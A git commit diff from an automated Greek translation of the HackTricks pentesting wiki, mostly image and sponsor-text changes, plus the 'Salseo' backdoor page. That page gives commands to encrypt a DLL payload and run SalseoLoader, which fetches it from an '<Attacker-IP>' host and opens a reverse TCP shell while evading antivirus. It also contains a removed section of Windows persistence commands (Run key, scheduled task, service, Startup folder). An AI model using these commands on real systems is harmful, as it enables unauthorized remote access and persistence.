Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-17 18:40:30 +00:00
parent bf3d9aea4c
commit 53086ecc81
158 changed files with 5040 additions and 5642 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 237 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 237 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

After

Width:  |  Height:  |  Size: 246 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 246 KiB

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 407 KiB

View file

@ -8,7 +8,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις έρευνας και ειδήσεις.**
{% endhint %}
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον ελέγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,30 +20,31 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του συνθήματος **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
**Η STM Cyber** υποστηρίζει επίσης ανοικτές πηγές κυβερνοασφάλειας όπως το HackTricks :)
***
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
***
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
Συμβουλή για ανταμοιβή ευρημάτων: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
**Συμβουλή ανταμοιβής ευρημάτων**: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -51,7 +52,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
@ -64,7 +65,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων!
@ -75,25 +76,25 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο ελέγχου διείσδυσης
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -105,9 +106,9 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάντα· Δοκιμές Διείσδυσης, **Ελεγκτικές** Επιθεωρήσεις, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Φισινγκ, Αναθεώρηση Κώδικα, Ανάπτυξη Εκμετάλλευσης, Εξωτερική Ανάθεση Ειδικών Ασφάλειας και πολλά άλλα.
Η WebSec είναι μια **εταιρεία ασφάλειας όλα-σε-ένα** που σημαίνει ότι κάνουν τα πάντα· Δοκιμές Διείσδυσης, **Ελέγχοι** Ασφαλείας, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Φισινγκ, Αναθεώρηση Κώδικα, Ανάπτυξη Εκμετάλλευσης, Εξωτερική Ανάθεση Ειδικών Ασφάλειας και πολλά άλλα.
Ένα άλλο ωραίο πράγμα για την WebSec είναι ότι αντίθετα με τον μέσο όρο της βιομηχανίας η WebSec είναι **πολύ βέβαιη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρεται στον ιστότοπό τους "**Αν δεν μπορούμε να το χακάρουμε, Δεν πληρώνετε!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στον [**ιστότοπό**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Ένα άλλο ωραίο πράγμα για την WebSec είναι ότι αντίθετα με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ βέβαιη για τις δεξιότητές της**, με τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρεται στον ιστότοπό τους "**Αν δεν μπορούμε να το χακάρουμε, Δεν πληρώνετε!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στον [**ιστότοπό τους**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Επιπλέον, εκτός από τα παραπάνω, η WebSec υποστηρίζει επίσης το HackTricks.
@ -115,7 +116,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
## Άδεια & Αποποίηση Ευθυνών
**Ελέγξτε τα στο:**
**Ελέγξτε τα εδώ:**
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -123,4 +124,4 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Hack

View file

@ -353,6 +353,7 @@
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)

View file

@ -2,37 +2,37 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Συγκέντρωση των δυαδικών αρχείων
## Συντάσσοντας τα δυαδικά αρχεία
Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα.
Κατεβάστε τον πηγαίο κώδικα από το github και συντάξτε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συντάξετε τον κώδικα.
Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές).
Συντάξτε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συντάξτε τα για αυτές τις αρχιτεκτονικές).
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στο **"Platform Target".**
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στο **"Project Tab"** και στη συνέχεια στο **"\<Project Name> Properties"**)
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και μετά στις **"Ιδιότητες \<Ονομασίας Έργου>"**)
![](<../.gitbook/assets/image (132).png>)
Στη συνέχεια, συγκεντρώστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα αρχεία καταγραφής θα εμφανιστεί η διαδρομή του εκτελέσιμου):
Στη συνέχεια, συντάξτε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου αρχείου):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## Προετοιμασία της πίσω πόρτας
## Προετοιμασία της Παρασκήνιας Πόρτας
Καταρχήν, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll**. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**:
Καταρχάς, θα πρέπει να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το σενάριο python **encrypterassembly.py** ή μπορείτε να συντάξετε το έργο **EncrypterAssembly**:
### **Python**
```
@ -40,64 +40,31 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
Το λειτουργικό σύστημα Windows παρέχει διάφορες δυνατότητες για τη δημιουργία backdoors και την εισβολή σε ένα σύστημα. Οι παρακάτω τεχνικές μπορούν να χρησιμοποιηθούν για να αποκτηθεί πρόσβαση σε έναν υπολογιστή με Windows:
#### 1. Εκτέλεση κακόβουλου κώδικα μέσω του Registry
Μπορείτε να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του Registry των Windows. Αυτό μπορεί να γίνει προσθέτοντας μια νέα τιμή στο κλειδί του Registry `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`. Όταν ο υπολογιστής επανεκκινηθεί, ο κακόβουλος κώδικας θα εκτελεστεί αυτόματα.
```plaintext
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"
```
#### 2. Εκτέλεση κακόβουλου κώδικα μέσω του Task Scheduler
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του Task Scheduler των Windows. Αυτό μπορεί να γίνει δημιουργώντας μια νέα εργασία στο Task Scheduler και ρυθμίζοντας την εκτέλεση του κακόβουλου κώδικα σε συγκεκριμένες συνθήκες.
```plaintext
schtasks /create /sc minute /mo 1 /tn Backdoor /tr "C:\path\to\backdoor.exe"
```
#### 3. Εκτέλεση κακόβουλου κώδικα μέσω του Windows Service
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω ενός Windows Service. Αυτό μπορεί να γίνει δημιουργώντας ένα νέο Windows Service και ρυθμίζοντας την εκτέλεση του κακόβουλου κώδικα όταν το Service ξεκινά.
```plaintext
sc create Backdoor binPath= "C:\path\to\backdoor.exe" start= auto
sc start Backdoor
```
#### 4. Εκτέλεση κακόβουλου κώδικα μέσω του Windows Startup Folder
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του φακέλου Windows Startup. Αυτό μπορεί να γίνει προσθέτοντας ένα συντόμευση του κακόβουλου κώδικα στον φάκελο `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. Όταν ο υπολογιστής επανεκκινηθεί, ο κακόβουλος κώδικας θα εκτελεστεί αυτόματα.
```plaintext
copy "C:\path\to\backdoor.exe" "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
```
Αυτές είναι μερικές από τις τεχνικές που μπορείτε να χρησιμοποιήσετε για να δημιουργήσετε backdoors σε ένα σύστημα με Windows. Είναι σημαντικό να θυμάστε ότι η χρήση αυτών των τεχνικών για παράνομους σκοπούς είναι παράνομη και απαράδεκτη. Πάντα χρησιμοποιείτε αυτές τις τεχνικές με ηθικό τρόπο και μόνο για νόμιμους σκοπούς, όπως την ενίσχυση της ασφάλειας του συστήματος σας.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
Τώρα έχετε ό,τι χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν θα πρέπει να ανιχνευθεί από κανένα AV...**
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν πρέπει να ανιχνευθεί από κανένα AV...**
## **Εκτέλεση της πίσω πόρτας**
### **Λήψη εναντίον αντίστροφου κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
### **Λήψη εναλλακτικού κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και έναν HTTP διακομιστή για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και ένα διακομιστή HTTP για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Λήψη αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)**
### Λήψη ενός αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)
